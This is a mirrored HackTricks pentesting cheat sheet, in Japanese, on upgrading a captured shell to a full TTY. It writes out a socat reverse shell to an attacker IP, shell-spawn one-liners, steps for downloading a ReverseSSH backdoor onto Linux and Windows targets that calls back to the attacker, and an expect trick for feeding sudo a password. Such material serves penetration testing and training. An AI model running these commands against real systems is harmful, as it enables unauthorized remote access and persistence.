mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-16 09:48:14 +00:00
126 lines
7.4 KiB
Markdown
126 lines
7.4 KiB
Markdown
# フルTTY
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
## フルTTY
|
||
|
||
`SHELL`変数で設定したシェルは、**必ず** _**/etc/shells**_ に**リストされている必要があります**。また、次のスニペットはbashでのみ動作します。zshの場合は、`bash`を実行してからシェルを取得してください。
|
||
|
||
#### Python
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||
|
||
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="info" %}
|
||
**`stty -a`**を実行すると、**行数**と**列数**を取得できます。
|
||
{% endhint %}
|
||
|
||
#### スクリプト
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
script /dev/null -qc /bin/bash #/dev/null is to not store anything
|
||
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
|
||
```
|
||
{% endcode %}
|
||
|
||
#### socat
|
||
```bash
|
||
#Listener:
|
||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||
|
||
#Victim:
|
||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||
```
|
||
### **シェルの生成**
|
||
|
||
* `python -c 'import pty; pty.spawn("/bin/sh")'`
|
||
* `echo os.system('/bin/bash')`
|
||
* `/bin/sh -i`
|
||
* `script -qc /bin/bash /dev/null`
|
||
* `perl -e 'exec "/bin/sh";'`
|
||
* perl: `exec "/bin/sh";`
|
||
* ruby: `exec "/bin/sh"`
|
||
* lua: `os.execute('/bin/sh')`
|
||
* IRB: `exec "/bin/sh"`
|
||
* vi: `:!bash`
|
||
* vi: `:set shell=/bin/bash:shell`
|
||
* nmap: `!sh`
|
||
|
||
## ReverseSSH
|
||
|
||
**インタラクティブなシェルアクセス**、**ファイル転送**、**ポートフォワーディング**の便利な方法は、ターゲットに静的リンクされたsshサーバー[ReverseSSH](https://github.com/Fahrj/reverse-ssh)をドロップすることです。
|
||
|
||
以下は、upx圧縮されたバイナリを使用した`x86`の例です。他のバイナリについては、[リリースページ](https://github.com/Fahrj/reverse-ssh/releases/latest/)を確認してください。
|
||
|
||
1. ローカルでsshポートフォワーディングリクエストをキャッチするために準備します:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
# Drop it via your preferred way, e.g.
|
||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||
|
||
/dev/shm/reverse-ssh -v -l -p 4444
|
||
```
|
||
{% endcode %}
|
||
|
||
* (2a) Linuxのターゲット:
|
||
```bash
|
||
# Drop it via your preferred way, e.g.
|
||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||
|
||
/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
|
||
```
|
||
{% endcode %}
|
||
|
||
* (2b) Windows 10のターゲット(以前のバージョンについては、[プロジェクトのreadme](https://github.com/Fahrj/reverse-ssh#features)を確認してください):
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
# Drop it via your preferred way, e.g.
|
||
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
|
||
|
||
reverse-ssh.exe -p 4444 kali@10.0.0.2
|
||
```
|
||
{% endcode %}
|
||
|
||
* もしReverseSSHポートフォワーディングのリクエストが成功した場合、`reverse-ssh(.exe)`を実行しているユーザーのコンテキストでデフォルトのパスワード`letmeinbrudipls`でログインできるはずです。
|
||
```bash
|
||
# Interactive shell access
|
||
ssh -p 8888 127.0.0.1
|
||
|
||
# Bidirectional file transfer
|
||
sftp -P 8888 127.0.0.1
|
||
```
|
||
## TTYがない場合
|
||
|
||
何らかの理由で完全なTTYを取得できない場合でも、ユーザー入力を必要とするプログラムと**やり取りすることはできます**。次の例では、パスワードが`sudo`に渡されてファイルを読み取ります。
|
||
```bash
|
||
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|